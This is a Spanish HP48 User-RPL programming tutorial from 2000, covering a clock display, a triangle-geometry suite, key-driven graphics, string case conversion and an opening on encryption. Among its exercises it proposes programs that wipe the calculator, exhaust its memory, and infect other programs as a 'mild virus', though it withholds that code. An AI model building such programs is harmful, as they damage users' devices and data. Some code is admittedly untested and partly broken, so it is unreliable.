Antes de seguir recomiendo mucho aprender el uso de las listas, y sobre todo el manejo de los gráficos. El comando ANIMATE y todo lo que se pueda leer del manual de usuario.

También aprenda las flags o banderas. SF y CF.

Bien, espero que se haya estudiado los comandos para manipular gráficos y todo eso, que es muy importante para hacer programas interactivos.

Recuerdan el programa ese que nos decía la hora pero en un formato más "decente", el código era :

<< "Son las ...... " TIME -> A << A IP + ":" + A FP 100 * IP + ":" + A 100 * FP 100 * IP + MSGBOX >> >>

Ese código nos hacia aparecer en un cuadro MSGBOX la hora enhoras:minutos:segundos. Pero si es que lo ejecutaron un par de veces se darán cuenta de que con el tiempo se va haciendo una verdadera paja tener que apretar luego de haber visto la hora la tecla que indica OK o CANCEL. Ahora por medio de gráficos solucionaremos el problema. Haremos un programa que nos muestre la hora por 1 segundo y luego desaparezca.

Mi código es :

<< "Son las " TIME -> A << A IP + ":" + A FP 100 * IP + ":" + A 100 * FP 100 * IP + 3 ERASE

->GROB { 1 { #11h #18h } 1 1 } ANIMATE DROP DROP ERASE >> >>

Entonces el programa se hace múcho mejor.

Para los que se quedaron pegados en la lista

{ 1 { #11h #18h } 1 1 } les digo que la única forma de producir animaciones no es la que ustedes conocen. La otra es esta.

1: Graphic xxx * xxx2: { a { b c } d f }

a: Numero de gráficos a animarb: Coordenada "x" de donde se quiere

hacer la animacionc: Coordenada "y" de donde se quiere

hacer la animaciond: Segundos que se muestra cada gráficof: Numero de veces que se quiere repetir

la animacion

Luego el comando ANIMATE

Lo último(DROP DROP ERASE) podría cambiarse por un simple CLEAR pero lo que pasa es que pensé, si se está trabajando en la calculadora y de repente se quiere saber la hora, y despues de ejecutar nuestro programa reloj los

datos se le van a la cresta al tío, este pensará "puta la wea de programa penca", entonces por eso lo hice así, para que no moleste a nadie.

Pero ¿que pasaría si nuestro tío esta haciendo un proyecto de dibujo en la hp48, o digamoslo en chileno, el weon está dibujando y en un entretiempo, prende la calculadora y ve la hora. Luego se va a PICTURE y quiere seguir trabajando con su dibujo y .... este ya no está. Entonces el código se debe mejorar aún más, para que cada vez que se véa la hora no se pierda la pantalla de gráficos.

<< PICT RCL "Son las " TIME -> A << A IP + ":" + A FP 100 * IP + ":" + A 100 * FP 100 * IP + 3 ERASE

->GROB { 1 { #11h #18h } 1 1 } ANIMATE ROT PICT

STO CLEAR >> >>

Si te parece muy lento quéjate con la hp-corp y no conmigo.

Bien, ahora analicemos esta cosa. No me refiero al código sino al hecho de que siempre en nuestros trabajos como desarrolladores de software user-rpl debemos preocuparnos por el producto final, o sea, pensar que el 95% de los usuarios de la hp48 son más ignorantes que la cresta. Devido a esto es muy importante que el programa sea intuitivo y fácil de usar(onda windows). Por eso es que son muy importantes las estructuras de detección de errores. Estúdialas ya que sirven múcho. También sería muy bueno tener a mano el manual de usuario y el cable de interfase entre el computador y la hp. Si no lo tienes ni se te ocurra comprar el original que vende la hewlett packard ya que cuesta como $70 o 36 lucas. En cada universidad puedes preguntar por alguien que "haga" cables para la hp48, no te cobraran más de 5 lucas($10). Bien, luego de ese reseso vamonos a la programación amada.

EJERCICIOS DE PROGRAMACION

Haga un programa que nos pregunte el nombre y luego nos salude por nuestro nombre y nos pregunte como estamos. Que de dos respuestas, dependiendo de si la respuesta del

usuario es "bien" o "mal", y otra respuesta si da una respuesta diferente.

Desarrolle un programa user-rpl que Borre TODO lo que hay en la calculadora. ****

Haga un programa que invierta el orden de las variables del directorio actual

Haga un programa que llene la calculadora con basura dificil de quitar de manera que al usuario se le agote la memoria.****

Haga un programa que Infecte todos los demas programas del directorio actual con un código escondido que al final del programa se pegue y que al ejecutar los programas infectados no se ejecute el código que se pegó.(vírico suave).*****

Desarrolle un software que dada una lista de números cualquiera en la pila, nos entregue otra lista con los números ordenados de mayor a menor

Bien, ahora larguemonos a ver los códigos de los programas que les mandé hacer, y si ustedes ni siquiera se dieron el trabajo de tratar de hacer los ejercicios entonces vayanse a la misma mierda, pues no aprenderan nada. Ahhhh, y se me ólvidaba, para todos aquellos que quieren impresionar a sus amigos con el código del virus que daré vayanse a ver tata colores y a hecharse una pajita, ya que no daré aquí los códigos de los programas marcados al final con *****, y si tu eres un real programador, demuestramelo en simples palabras y explicame que no te la pudiste con alguno de los trabajos y escribe a [email protected] y te mando al tiro los códigos. Recuerda siempre ignorar y aborrecer a toda esa manga de pendejos que anda por ahi dándoselas de hacker maligno.

Ejercicio 1 :

<< "Hola " "¿Cual es su nombre?" "" INPUT + ", como está?" + "" INPUT -> VYS << CASE VYS BIEN == THEN

"QUE BUENO" MSGBOX END VYS MAL == THEN "QUE PENA" MSGBOX

END "RESPONDE BIEN O MAL, JETON" MSGBOX OFF >> >>

Ejercicio 3 :

<< VARS REVLIST ORDER >>

Que fácil no ?, al menos aprendiste el comando REVLIST y ORDER. Si los conocias desde antes, mejor, vas por el buen camino.

Ejercicio 6 :

<< SORT REVLIST >>

No digas nada y date cuenta de el funcionamiento del SORT

¿Que pasaría si ahora escribimos un programa en serio?. A ver, despues de pensar un rato recordé un programa que hice el año pasado. era para trabajo con triángulos. Me imagino que la mayoría de los posibles lectores de este manual estará de alguna manera relacionado con los triángulos, o al menos estudiando matematicas. Entonce haremos un programa que conste de varias partes, Una primera parte que dados los tres lados del triángulo nos dé el valor del area de triángulo(Herón). Una segunda parte que dados los tres lados del triángulo nos diga si es acutángulo, rectángulo o obtusángulo. Otra tercera parte que dados los tres lados del triángulo nos entregue el valor de sus ángulos interiores en grados sexagesimales. Una cuarta parte que dados los tres lados nos dé el valor de sus trés alturas. Una quinta parte que nos dé el valor de sus tres transversales de gravedad y una sexta parte que nos dé el valor de sus tres bisectrices.

Bien, desde aquí se ve duro el trabajo, pero les doy un buen consejo, hagan el trabajo ustedes. NO se limiten a estudiar solo el código. Traten y se sentiran mucho mejor, no hagan nada y serán siempre una mierda asquerosa y sarnosa que se podrirá en el inodoro infectado de porqueria humana.

Si conocen los triángulos, se darán cuenta de que me faltaron las SIMETRALES. Esto devido a que el trabajo para encontrar las simetrales dados los tres lados es un poco mas complicado. Y las medianas no las puse por que simplemente es muy facil calcularlas.

Bueno, quisiera dejar en claro que yo no me las llevo "pelas" ya que este programa lo perdí hace mucho tiempo en un "memory clear" que me ocurrió hace varios varios meses, así que tendré que trabajar duro yo también para hacer nacer el código desde lo profundo de mi alma de programador. juijuijui.

En la escritura del código , pondré al principio de cada parte del código de una parte del programa el nombre de esa parte.

(debido a problemas del texto, el digno de la raiz cuadrada lo escribire de la forma (4)^0.5, o sea, cuatro elevado a 0.5

@******************************************************************@@--------------------Programa ESTRIANGULADOR-----------------------@@------------------------by xj35u5x--------------------------------@@******************************************************************@

@ Módulo : HERON@ Código :

<< -> A B C << A B C + + 2 / -> S '(S*(S-A)*(S-B)*(S-C))^0.5' >> >>

@ Módulo : ARO@ Código :

<< -> A B C << A 2 ^ B 2 ^ C 2 ^ -> a b c << a b c + < b a c + < c a b + < OR IF OR THEN "ACUTANGULO" MSGBOX ELSE a b c + == b c a + == c a b + == OR IF OR THEN "RECTANGULO" MSGBOX ELSE

a b c + > c a b + > b a c + > OR IF OR THEN "OBTUSANGULO"

MSGBOX END END END >> >> >>

@ Módulo : ANGULOS@ Código :

<< DEG -> A B C << B 2 ^ C 2 ^ + A 2 ^ - 2 B C * * / ACOS A 2 ->LIST

A 2 ^ C 2 ^ + B 2 ^ - 2 A C * * / ACOS B 2 ->LIST

A 2 ^ B 2 ^ + C 2 ^ - 2 A B * * / ACOS C 2 ->LIST >> >>

@ Módulo : ALTURAS@ Código :

<< -> A B C << A B C HERON -> AREA << AREA 2 * A / A 2 ->LIST

AREA 2 * B / B 2 ->LIST

AREA 2 * C / C 2 ->LIST

>> >> >>

@ Módulo : TRANSVERSAL@ Código :

<< -> A B C << A 2 / B 2 / C 2 / B 2 ^ C 2 ^ + A 2 ^ - 2 B C * * /

ACOS A 2 ^ C 2 ^ + B 2 ^ - 2 A C * * / ACOS

A 2 ^ B 2 ^ + C 2 ^ - 2 A B * * / ACOS -> a b c ALFA BETA GAMMA <<C 2 ^ a 2 ^ + C a * 2 * BETA COS * - 0.5 ^ A 2 ->LISTA 2 ^ b 2 ^ + A b * 2 * GAMMA COS * - 0.5 ^ B 2 ->LISTB 2 ^ c 2 ^ + B c * 2 * ALFA COS * - 0.5 ^ C 2 ->LIST >> >> >>

@ Módulo : BISECTRIZ@ Código :

<< DEG -> A B C << B 2 ^ C 2 ^ + A 2 ^ - 2 B C * * / ACOS

A 2 ^ C 2 ^ + B 2 ^ - 2 A C * * / ACOS A 2 ^ B 2 ^ + C 2 ^ - 2 A B * * / ACOS -> alfa beta gamma << C beta SEN * 180 beta - alfa 2 / - SEN / A 2 ->LIST

A gamma SEN * 180 gamma - beta 2 / - SEN / B 2 ->LIST

B alfa SEN * 180 alfa - gamma 2 / - SEN / C 2 ->LIST >> >> >>

@******************************************************************@@ Programado por Sebastian Rivas [email protected] @

@ Concepcion-Chile año 2000 copyleft @@******************************************************************@

Y ahí por fín está nuestra SUITE de triángulos. Si fuiste un buen niño y trabajaste duro para sacar adelante tu código propio mil felicitaciones, entonces si tienes partes mejores o más optimizadas que las mías hazmelo saber, estas en todo tu derecho, o planteame tus diferencias o detalles, o lo que sea. Felicitaciones para quien logró o trató al menos de desarrollar el programa. Y como dato ilustrativo quisiera decir que el programa en sí tiene algo que se le puede optimizar, lo cual lo puse a propósito.

Bien, ahora un descanzo por un tiempo. adios.

-----------------------------------0------------------------------- fin del capitulo 1 [email protected] www.geocities.com/xj35u5x

CAPITULO 2 - "EL PROGRAMA DUEÑO Y UNA PINCELADA A LA PROGRAMACION DE JUEGOS O APLICACIONES INTERACTIVAS MEDIANTE EL USO DE LA INMERSION Y LAS ESTRUCURAS xj35u5x. UN POCO DE CADENAS "

El nombre de este capítulo se debe a que veremos otro código pero este yo creo que es más fácil que el del programa "estriangulador". Lo que hace el programa es que en el encendido de la calculadora aparezca el nombre del dueño de la calculadora por 1 segundo, claro que para esto la calculadora se debe apagar ejecutando al programa. En el resto del capítulo iremos mirando otras cosas muy interesantes.

Por primera vez veremos una técnica que por ahora llamaremosInstalacion previa, la cual consiste en que los programas se instalan y crean ellos mismos otros archivos ejecutables para luego auto-aniquilarse y dejar el programa "hijo" residente en memoria.

<< << PICT RCL ERASE OFF NOMBRExx { 1 { #5h #18h } 1 1 } IFERR ANIMATE THEN { DUEÑO } PURGE END DROP DROP PICT STO >> DUEÑO IFERR STO THEN "EL PROGRAMA YA ESTA INSTALADO Y SU NOMBRE ES DUEÑO" MSGBOX

ELSE "DIGAME SU NOMBRE" "" INPUT 3 ->GROB NOMBRExx STO

"EL PROGRAMA HA SIDO INSTALADO CON EXITO" MSGBOX END >>

Bueno, para que analizar una cosa tan simple.

Quisiera hacer un disclaimer, por favor, cualquier error que se encuentre en mis códigos háganmelo saber y os daré las gracias, ya que yo igual soy humano y me puedo equivocar a pesar de que casi siempre los pruebo en mi propia humilde hp48g . Si, yo poseo una hp48g y no una hp48gx, aunque ya me esta quedando muy chica esta..........y no es chiste...... >8^)

<< "PERDISTE" MSGBOX >>

Ese código es de un juego muy muy dificil. Ejecutadlo....

Bueno, pongámonos serios otra vez. A ver, de que podríamos hablar...mmmm....hablemos un rato de la programación de juegos en la hp48.

La primera vez que me aventuré a hacer un juego gráfico fue el año 99 , cuando llevaba como 7 meses usando mi hp en el cuarto medio o el último año de preparatoria. Recuerdo que comencé planteandome el desafío de hacer un programa que imitara a una pelota que rebotara por toda la pantalla de la hp48. La pelota sería un simple punto, y despues de muchos fallos y derrotas, lo logré. Era un poco lenta, claro, debido a que yo aún ni me sabía la mitad de los comandos de la hp y en ocasiones por no saber un comando, lo imitaba con 4 o 5 instrucciones conocidas por mi, y debido también a la natural lentitud del lenguaje user-rpl. Bueno, entonces, cuando la pelota estaba lista y funcionaba, se me ocurrió que podría ser un juego si lograba poner en uno de los lados de la pantalla una barra que actuara como paleta(parecido a los antiguos juegos de atarí mientras cargaban), que se

moviera dependiendo de las teclas que yo apretara. Entonces conocí el gran comando WAIT y comencé la mounstrosa tarea. Es que para mi, que apenas sabía un poco, era muy dificil llegar a eso. Pero al final lo logré. Pero entonces no estube contento con una sola paleta, y se me ocurrio que se podría hacer con 2 jugadores, onda tenis o ping pong. Y también eso lo logré. El programa era ridiculamente lento, pero fué lo que me animó a meterme en la programacion user-rpl. Bien, ahora, yo se que quizá eso a ustedes no les interesa en lo más mínimo, pero deben extraer del texto la palabra WAIT, por que aunque sé que he mejorado como programador, es la misma idea que se me ocurrio aquella vez la que sigo usando para mis juegos. Es la estructura que yo uso y que por no tener nombre oficial llamaré "Estructura xj35u5x" (disculpen por poner mi nick ahí, pero......¡¡soy humano!! me gusta eso..... ;->

Estructura : xj35u5xLo que hace esta estructura es usar de

manera conveniente los comandos WAIT ,ANIMATE y PVIEW la estructura CASE THEN END END para manejar los gráficos de la hp de forma que nosotros queramos, con respuestas a las teclas que se pulsan y el tiempo, etc. En realidad, todo lo que se nos ocurra.

Como primer ejemplo veremos un programa que lo único que hace es mover un punto hacia donde nosotros queramos, con las teclas de direccion.

Codigo ejemplo 1 :

<< {PUNTOX} PURGE (0,0) << DUP PIXON {#0 #0} PVIEW 0 WAIT ->

A << CASE 'A==36.1' THEN DUP PIXOFF (.5,0) +

PUNTOX END 'A==34.1' THEN DUP PIXOFF (-.5,0) + PUNTOX END

'A==25.1' THEN DUP PIXOFF (0,.5) + PUNTOX END

'A==35.1' THEN DUP PIXOFF (0,-.5) + PUNTOX END

"VIVA EL ENRIQUE MOLINA" MSGBOX {PUNTOX} PURGE END >>

PUNTOX STO PUNTOX >>

Se acuerdan de la palabra

optimizacion ???

Codigo mejorado ejemplo 1 :

<< {PUNTOX} PURGE (0,0) << DUP PIXON {#0 #0} PVIEW 0 WAIT ->

A << CASE 'A==36.1' THEN DUP PIXOFF (.5,0)

'A==34.1' THEN DUP PIXOFF (-.5,0) 'A==25.1' THEN DUP PIXOFF (0,.5) 'A==35.1' THEN DUP PIXOFF (0,-.5) "VIVA EL ENRIQUE MOLINA" MSGBOX

{PUNTOX} PURGE END IFERR + PUNTOX THEN END

END >> PUNTOX STO PUNTOX >>

Así nos ahorramos unos cuantos bytes

y ahora :

<< {PUNTOX Xx} PURGE << DUP PIXOFF >> Xx STO (0,0)

<< DUP PIXON {#0 #0} PVIEW 0 WAIT -> A << CASE

'A==36.1' THEN Xx (.5,0) 'A==34.1' THEN Xx (-.5,0)

'A==25.1' THEN Xx (0,.5) 'A==35.1' THEN Xx (0,-.5) "VIVA EL ENRIQUE MOLINA" MSGBOX

{PUNTOX Xx} PURGE END IFERR + PUNTOX THEN END

END >> PUNTOX STO PUNTOX >>

Mejor.

Bien, ademas de ilustrar el uso de una estrucura xj35u5x, el ejemplo sirvió también para ejemplarizar el uso de otra tecnica, la que consiste en que los programas creen otros programas en tiempo real y los ejecuten. por que si te das cuenta, el ejemplo haría lo mismo que este código :

<< DUP PIXON {#0 #0} PVIEW 0 WAIT -> A << CASE

'A==36.1' THEN Xx (.5,0) 'A==34.1' THEN Xx (-.5,0)

'A==25.1' THEN Xx (0,.5) 'A==35.1' THEN Xx (0,-.5) "VIVA EL ENRIQUE MOLINA" MSGBOX

{PUNTOX Xx}

PURGE END IFERR + PUNTOX THEN END END

>>

Siempre y cuando se guardara con el nombre PUNTOX y al momento de ejecucion hubiera un par ordenado en el nivel 1: de la pila.

Pero como siempre hay gente muy muy, bueno, el típico usuario, más vale de la primera forma. Por ejemplo si haces un programa que tiene varias partes y quieres distribuirlo pensaras que a cada weon que quiera usarlo tendras que pasarle como 8 archivos. Entonces es MUY util esta técnica a la que por ahora llamaremos INMERSION.

En sintesis, la tecnica de inmersion es transformar un programa que contiene varios archivos a uno que tenga uno solo, y que cuando sea ejecutado creará a los demas archivos y ejecutará el principal.(se hechan de menos las funciones de C ). Luego de la ejecución, todos los archivos auxiliares son destruidos nuevamente.

Disculpen por salirme del tema, pero es que en algún momento tenía que decirles lo de la INMERSION. Ahora, siguiendo con las estructuras xj35u5x, veremos algo en donde usemos ANIMATE.

Hagamos un programa que desplace por la pantalla a nuestro antojo un objeto de gráficos que de antemano dibujaremos y guardaremos como variable con un nombre determinado que en ESTE caso será A1. Podría ser un círculo,un cuadrádo, o....si!!!, también podría ser una nave espacial intergaláctica.

Bien, ahora, sabiendo que existe la variable A1 que contiene un gráfico el código sería :

Antes de dar el código quisiera explicar una vez más que el uso de este manual sin el manual de usuario, o sin ningún conocimiento del lenguaje o los comandos será de escasa o nula ayuda en tu carrera de programador, si estas solo copiando los códigos a la hp y jugando, está muy bien si no te interesa la programación, pero si quieres hacer lo que yo hago, y mejor, entonces estarías puro cagándola, por que ademas, cada uno tiene que tener su propio estilo.

<< << { 1 { #0d #0d } 0 1 } PICT RCL { #0d #0d } TO111 >> TOCERO STO << -> W << X1 GOR SWAP ANIMATE 0 WAIT -> Z <<

CASE 'Z==36.1' THEN W DUP PX->C (.5,0) + C->PX TO222 END

'X==35.1' THEN W DUP PX->C (0,-.5) + C->PX TO222 END

'X==25.1' THEN W DUP PX->C (0,.5) + C->PX TO222 END 'X==34.1' THEN W DUP PX->C (-.5,0) + C->PX TO222 END "PROGRAMADO POR xj35u5x" MSGBOX { TOCERO TO111 TO222 }

PURGE END >> >> >> TO111 STO << -> A B << SWAP A PX->C X2 REPL B

TO111 >> >> TO222 STO { TO111 } BYTES DROP IF #60853d == THEN TOCERO ELSE { TOCERO TO111 TO222 } PURGE END >>

Ese es el código necesario sabiendo que en el directorio actual hay una variable llamada X1 con un dibujo y otra llamada X2 igual que grande que X1 pero vacia.

Y en caso de que sea un programa para pasarselo a tus ignorantes amigos ???? ¿¿¿acaso ellos dibujarán un gráfico y crearan un BLANK ???? no, entonces el código sería.....

<< { X1 X2 TOCERO TO111 TO222 } PURGE << { 1 { #0d #0d } 0 1 } PICT RCL { #0d #0d } TO111 >> TOCERO STO << -> W << X1 GOR SWAP ANIMATE 0 WAIT -> Z <<

CASE 'Z==36.1' THEN W DUP PX->C (.5,0) + C->PX TO222 END

'X==35.1' THEN W DUP PX->C (0,-.5) + C->PX TO222 END

'X==25.1' THEN W DUP PX->C (0,.5) + C->PX TO222 END 'X==34.1' THEN W DUP PX->C (-.5,0) + C->PX TO222 END "PROGRAMADO POR xj35u5x" MSGBOX

{ X1 X2 TOCERO TO111 TO222 } PURGE END >> >> >> TO111 STO

<< -> A B << SWAP A PX->C X2 REPL B TO111 >> >> TO222 STO

GROB 8 8 C12214141422C100 X1 STO GROB 8 8 0000000000000000 X2 STO { TO111 } BYTES DROP IF #60853d == THEN TOCERO ELSE { TOCERO TO111 TO222 X1 X2 } PURGE END >>

Ten en cuenta que el programa lleva una pequeña protección. Hazlo correr así como está y luego en donde dice xj35u5x pon tu nombre y vé que pasa. Estaríamos acercandonos poco a poco a un importante tema para nosotros los programadores, que es proteger nuestros programas de gente charcheta que le gusta darselas de programador o de vacan simplemente, pero en realidad son lo más poser de lo poser, lo más nerdie de lo nerdie.

Así es este manual, este es un manual de programacion o mejor dicho de ideas de programación. Recuerdo que el primer ejemplo de programación fué :

<< "HOLA MUNDO" MGSBOX >>

Hemos avanzado eh......

Bien, tengo varias ideas en la cabeza pero no se cual mostrar primero.... a ver... dejemos de lado un rato las estructuras xj35u5x para pasar a analizar algunos temas. En todo caso, yo no creo que vuelva a hablar mucho de las e.xj35u5x , ya que con lo que dije, solo falta más imaginación para crear cosas más interesantes. En base a eso yo programé un juego llamado gato, y aunque el juego en si es simple, quedó muy bien hecho. Lo que quiero decir es que la tecnica de usar las estructuras xj35u5x es muy poderosa, basta con pensar en que a mi me ha bastado durante al menos un año programando distintos tipos de cosas.

Vámonos ahora a hablar un ratito sobre algo que a algunos puede desagradar un poco. Las matemáticas. Todos sabemos que el 99.99% de los usuarios de hp48 estan en estudios que incluyen a las matematicas de alguna forma, entonces, debido a este hecho es que la programación de aplicaciones matemáticas se hace imprescindible. Yo sé que muchos de lo usuarios que hay allá afuera no usan la hp para otra cosa que no sea jugar, pero, hay otro porcentaje que quiere hacer cosas más productivas con ella. También hay que tomar en cuenta el porcentaje de usuarios que la usan para su trabajo.

Mi nivel de matemáticas no es tan alto, ya que en el momento que estoy escribiendo este

manual voy en primer año de ingeniería, por lo que mi cultura matemática no es muy alta, pero para los programadores más mate-magos les dejo el desafío de crear aplicaciones que les sean útiles.

La hp48 es un intrumento que fué creado para las matemáticas, numéricas y simbólicas, así que no es nada nada en vano programar aplicaciones matemáticas. Daré algunos problemillas para la casa :-)

Haga un programa que pase de radianes a grados.

Haga un programa que nos diga en cualquier momento cuanto falta para el año 2001.

Haga un programa que nos dé el area de un pentágono regular dado su lado.

Haga un programa que nos dé el volumen de una esfera dado su radio(extremadamente fácil)

Haga un programa que nos dé la medida del lado de un dodecágono regular, el cual está inscrito en una circunferencia, dado el lado de un pentágono regular circunscrito en la misma circunferencia. (extremadamente difícil)

Haga un programa que dados dos números "a" y "b" en la pila de la forma :

2: a1: b

nos diga si a es divisible por b o no.

Bien, con esos ejercicios basta por ahora. (quien los haga y quiera mi felicitación que me mande su código fuente y yo lo probaré y le enviaré mis felicitaciones personales....

Pero ahora es hora de un verdadero desafío. Escriba un programa que simule una pelota que rebota infinitamente por la pantalla, es decir que nunca para......a ver quien se la puede......

Bien, realmente no se por donde seguir,

yo creo que lo mejor sería hablar un rato sobre las cadenas.

El manejo de las cadenas es algo muy importante en todo lenguaje de programación, ya que nos permite una fácil comunicación con el usuario. Los programas de inteligencia artificial están la mayoría escritos en lenguajes que tienen mucho poder sobre las cadenas como por ejemplo el LISP. Y bueno, como algunos de ustedes sabran, el SYSTEM-RPL es como un hijo del LISP, y el lenguaje que ustedes están aprendiendo en este momento es un hijo del SYSTEM-RPL. a ver quien saca la conclusion....... :-))))))))

Ahora, si quieres ser un buen programador aprende a manejar bién las cadenas(strings). Estas también son muy importantes para entregar los resultados matemáticos en forma más legible para el típico usuario.

Hagamos un programa que dado un texto en "minúsculas" nos lo entregue en "MAYUSCULAS".

Antes que nada diremos que el código de la letra "A" en la hp48 es el número 65 y el de la letra "a" es el 97. Entonces, sabiendo que el texto dado está en minúsculas, lo que tenemos que hacer es restarle al código de cada letra del texto la cantidad (97-65=32) y volverla a transformar en caracter otra vez.

El código que yo escribí para esto fué :(Atención. La persona que escriba un programa que yo le pida, como los ejercicios, y lo haga con menos código que yo, o más rápido, pondré su nombre en este manual)

<< DUP 1 OVER SIZE FOR Z DUP Z DUP SUB NUM 32 -

CHR Z SWAP REPL NEXT >>

Nunca pensé que sería tan fácil, en serio. Este código transforma un texto que está en minúsculas a MAYUSCULAS. Si se analiza el código, la duración de la ejecución depende de la cantidad de caracteres que tiene el texto, ya que el programa cambia cada caracter por su mayuscula.

Bien, ahora, vamos a ir por partes arreglando el código. Primero que nada, este programa sirve solo para cadenas que no contengan espacios, o sea solo para palabras, ya que el caracter espacio lo transforma también.

Eso yo lo arreglaría así :

<< DUP 1 OVER SIZE FOR Z DUP Z DUP SUB NUM DUP

IF 32 != THEN 32 - END CHR Z SWAP REPL NEXT >>

Recuerda que el signo != representa en este manual a DIFERENTEo sea lo contrario del signo ==.

¿Puedes hacer el programa con el signo == ???

Demasiado fácil, una ofensa ???

<< DUP 1 OVER SIZE FOR Z DUP Z DUP SUB NUM DUP

IF 32 == THEN CHR Z SWAP REPL NEXT END 32 - >>

Sigamos perfeccionando el código. Pero primero hagamos un programa que transforme un texto de MAYUSCULAS a minúsculas :

No podría ser más fácil....

<< DUP 1 OVER SIZE FOR Z DUP Z DUP SUB NUM DUP

IF 32 != THEN 32 + END CHR Z SWAP REPL NEXT >>

o también :

<< DUP 1 OVER SIZE FOR Z DUP Z DUP SUB NUM DUP

IF 32 == THEN CHR Z SWAP REPL NEXT END 32 + >>

Bueno, pero sigamos webeando un ratito. Ahora quiero que hagas un programa que transforme todas las letras de un texto a Mayúsculas, o Sea lo mismo que lo anterior, pero que las letras MAYUSCULAS se mantengan así.

<< DUP 1 OVER SIZE FOR Z DUP Z DUP SUB NUM DUP

IF 96 > THEN 32 - END CHR Z SWAP

REPL NEXT >>

Y lo contrario seria :

<< DUP 1 OVER SIZE FOR Z DUP Z DUP SUB NUM DUP DUP

97 < SWAP 33 > IF AND THEN 32 + END CHR Z SWAP REPL NEXT >>

No sé, pero quizá el último código se pueda optimizar un poquito. Traten ustedes ;-)))

Ahora, a lo que queríamos llegar, un programa que cambíe todas las letras de mayúscula a minúscula o de minúscula a mayúscula según sea el caso de que la letra sea minúscula o mayúscula y que no modifique los espacios.

<< DUP 1 OVER SIZE FOR Z DUP Z DUP SUB NUM -> A

<< CASE 'A==32' THEN CHR Z SWAP REPL END

'A>97' THEN 32 - CHR Z SWAP REPL END

32 + CHR Z SWAP REPL END >> >>

Ya estamos listos.

Ahora, si el texto tubiera otros caracteres raros aparte de las letras y los espacios, los cuales no quisieramos modificar :

<< DUP 1 OVER SIZE FOR Z DUP Z DUP SUB NUM -> A

<< CASE 'A==32' THEN CHR Z SWAP REPL END

'A>97 AND A<123' THEN 32 - CHR Z SWAP REPL END

'A>64 AND A<91 THEN 32 + CHR Z SWAP REPL END

END >> >>

Recuerden que no todos los códigos los pruebo, así que si alguno tiene falla lo arreglas y/o me avisas.

Dejemos tranquilas un rato a las cadenas.

Alguien se acuerda del programa

ESTRIANGULADOR ?Aquí esta la version 2 que resuelve

también las simetrales :

@******************************************************************@@------------------- Programa ESTRIANGULADOR 2 --------------------@@------------------------ by xj35u5x ------------------------------@@******************************************************************@

@ Módulo : HERON@ Código :

<< -> A B C << A B C + + 2 / -> S '(S*(S-A)*(S-B)*(S-C))^0.5' >> >>

@ Módulo : ARO@ Código :

<< -> A B C << A 2 ^ B 2 ^ C 2 ^ -> a b c << a b c + < b a c + < c a b + < OR IF OR THEN "ACUTANGULO" MSGBOX ELSE a b c + == b c a + == c a b + == OR IF OR THEN "RECTANGULO" MSGBOX ELSE

a b c + > c a b + > b a c + > OR IF OR THEN "OBTUSANGULO"

MSGBOX END END END >> >> >>

@ Módulo : ANGULOS@ Código :

<< DEG -> A B C << B 2 ^ C 2 ^ + A 2 ^ - 2 B C * * / ACOS A 2 ->LIST

A 2 ^ C 2 ^ + B 2 ^ - 2 A C * * / ACOS B 2 ->LIST A 2 ^ B 2 ^ + C 2 ^ - 2 A B * * / ACOS C 2 ->LIST >> >>

@ Módulo : ALTURAS@ Código :

<< -> A B C << A B C HERON -> AREA << AREA 2 * A / A 2 ->LIST

AREA 2 * B / B 2 ->LIST

AREA 2 * C / C 2 ->LIST

>> >> >>

@ Módulo : TRANSVERSAL@ Código :

<< -> A B C << A 2 / B 2 / C 2 / B 2 ^ C 2 ^ + A 2 ^ - 2 B C * * /

ACOS A 2 ^ C 2 ^ + B 2 ^ - 2 A C * * / ACOS

A 2 ^ B 2 ^ + C 2 ^ - 2 A B * * / ACOS -> a b c ALFA BETA GAMMA <<C 2 ^ a 2 ^ + C a * 2 * BETA COS * - 0.5 ^ A 2 ->LISTA 2 ^ b 2 ^ + A b * 2 * GAMMA COS * - 0.5 ^ B 2 ->LISTB 2 ^ c 2 ^ + B c * 2 * ALFA COS * - 0.5 ^ C 2 ->LIST >> >> >>

@ Módulo : BISECTRIZ@ Código :

<< DEG -> A B C << B 2 ^ C 2 ^ + A 2 ^ - 2 B C * * / ACOS

A 2 ^ C 2 ^ + B 2 ^ - 2 A C * * / ACOS A 2 ^ B 2 ^ + C 2 ^ - 2 A B * * / ACOS -> alfa beta gamma << C beta SEN * 180 beta - alfa 2 / - SEN / A 2 ->LIST

A gamma SEN * 180 gamma - beta 2 / - SEN / B 2 ->LIST

B alfa SEN * 180 alfa - gamma 2 / - SEN / C 2 ->LIST >> >> >>

@Módulo : SIMETRAL@Código :

<< DEG -> A B C << B 2 ^ C 2 ^ + A 2 ^ - 2 B C * * / ACOS

A 2 ^ C 2 ^ + B 2 ^ - 2 A C * * / ACOS A 2 ^ B 2 ^ + C 2 ^ - 2 A B * * / ACOS -> X Y Z

<< IF 'Z<Y' THEN Z TAN ELSE Y TAN END A * 2 / "s" A + ->TAG IF 'Y<X' THEN Y TAN ELSE X TAN END

B * 2 / "s" B + ->TAG

IF 'Y<X' THEN Y TAN ELSE X TAN

END C * 2 / "s" C

+ ->TAG >> >> >>

@******************************************************************@@ Programado por Sebastian Rivas [email protected] @@ Concepcion-Chile año 2000 copyleft .(v+s+j). @ @******************************************************************@

La optimización de este código era transformar el código :

<< -> A B C << B 2 ^ C 2 ^ + A 2 ^ - 2 B C * * / ACOS

A 2 ^ C 2 ^ + B 2 ^ - 2 A C * * / ACOS A 2 ^ B 2 ^ + C 2 ^ - 2 A B * * / ACOS >>

En un módulo aparte, ya que se repetía en varios de los otros módulos. De este modo se ahorra espacio.

-----------------------------------0------------------------------- fin del capitulo 2 [email protected] www.geocities.com/xj35u5x

CAPITULO 3 : "CADENAS AVANZADAS, LA ENCRIPCIÓN"

Yo siempre he encontrado la raja la palabra encripción. Me gusta como suena, como a misterio, como a un jeroglífico. Y justo eso es lo que se trata de hacer en la encripción, esconder un texto de manera conveniente.

Un ejemplo muy muy muy básico de encripción sería por ejemplo a cada letra de un texto sumarle tanto para que cada letra cambié y sea ilegible. Digo que sería un ejemplo muy

básico por que no sería nada de dificil desencriptar ese texto. La gracia de la encripción es que el texto encriptado sea muy dificil de desencriptar, y ojalá imposible(esto es imposible), de manera que solo bajo determinadas condiciones se pueda recuperar el texto encriptado. Ya sea mediante una clave o algo así.

Me voy por un tiempo.

Son las 3:02 de la mañana. Estoy bajando el último disco de therion. El DEGGIAL. Oye, un consejo....si te gusta la música anda a www.napster.com o www.imesh.com pura música gratis.......

